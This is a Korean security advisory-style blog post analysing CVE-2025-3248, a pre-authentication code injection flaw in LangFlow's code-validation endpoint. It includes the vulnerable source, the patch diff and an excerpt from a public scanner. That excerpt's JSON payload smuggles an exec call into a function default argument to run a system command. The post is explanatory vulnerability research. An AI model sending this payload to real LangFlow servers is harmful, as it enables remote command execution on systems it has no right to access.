[하루한줄] CVE-2025-3248: LangFlow Code Injection Vulnerability
URL
Target
- LangFlow < 1.3.0
Explain
AI 에이전트 빌드 및 배포 도구인 LangFlow 에서 Code Injection 취약점이 발견되었습니다.
LLM 이 생성한 코드를 검증하는 API 인 /api/v1/validate/code
에서 exec
를 호출하는 함수인 validate_code()
를 내부적으로 호출합니다.
해당 API 를 아무나 호출할 수 있었기에 [1], 현재 사용자만 이용 가능하도록 패치가 이루어졌습니다. [2]
from fastapi import APIRouter, HTTPException
from loguru import logger
from langflow.api.v1.base import Code, CodeValidationResponse, PromptValidationResponse, ValidatePromptRequest
from langflow.base.prompts.api_utils import process_prompt_template
from langflow.utils.validate import validate_code
# build router
router = APIRouter(prefix="/validate", tags=["Validate"])
@router.post("/code", status_code=200)
-async def post_validate_code(code: Code) -> CodeValidationResponse: # [1]
+async def post_validate_code(code: Code, current_user: CurrentActiveUser) -> CodeValidationResponse: [2]
try:
errors = validate_code(code.code)
return CodeValidationResponse(
imports=errors.get("imports", {}),
function=errors.get("function", {}),
)
except Exception as e:
logger.opt(exception=True).debug("Error validating code")
raise HTTPException(status_code=500, detail=str(e)) from e
validate_code()
는 POST 로 전달받은 code
에 import 문과 python 함수 선언문이 있는지 확인 하여 import 문이 있는 경우 이름에 해당하는 모듈을 로드하고 [3] , 함수가 선언되었을 경우 exec
를 통해 코드를 실행합니다. [4]
def validate_code(code):
# Initialize the errors dictionary
errors = {"imports": {"errors": []}, "function": {"errors": []}}
# Parse the code string into an abstract syntax tree (AST)
try:
tree = ast.parse(code)
except Exception as e: # noqa: BLE001
if hasattr(logger, "opt"):
logger.opt(exception=True).debug("Error parsing code")
else:
logger.debug("Error parsing code")
errors["function"]["errors"].append(str(e))
return errors
# Add a dummy type_ignores field to the AST
add_type_ignores()
tree.type_ignores = []
# Evaluate the import statements
for node in tree.body:
if isinstance(node, ast.Import):
for alias in node.names:
try:
importlib.import_module(alias.name) # [3]
except ModuleNotFoundError as e:
errors["imports"]["errors"].append(str(e))
# Evaluate the function definition
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
try:
exec(code_obj) # [4]
except Exception as e: # noqa: BLE001
logger.opt(exception=True).debug("Error executing function code")
errors["function"]["errors"].append(str(e))
공개된 CVE-2025-3248 스캐너(link)에서는 위 규칙에 맞게 python 함수를 선언하며 시스템 명령을 실행시키는 구문을 삽입한 것을 확인할 수 있습니다. [5]
# 스캐너 코드 일부 발췌
...
def check_vulnerability(self):
"""Check if target is vulnerable to Langflow vulnerability"""
try:
validate_url = urljoin(self.url, '/api/v1/validate/code')
payload = {
"code": """
def test(cd=exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')):
pass
""" # [5]
}
print(f"{Fore.YELLOW}[*] Testing endpoint: {validate_url}")
response = self.session.post(
validate_url,
json=payload,
timeout=self.timeout
)
...
여담이지만, 해당 패치로 Preauth 취약점까지는 막혔더라도, python 코드를 실행시키는 구조는 여전하기에 Account Takeover 나 세션 탈취와 같은 다른 취약점을 연계한다면 취약점이 재발현 될 수도 있겠다는 생각을 하게 되네요. 😥
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.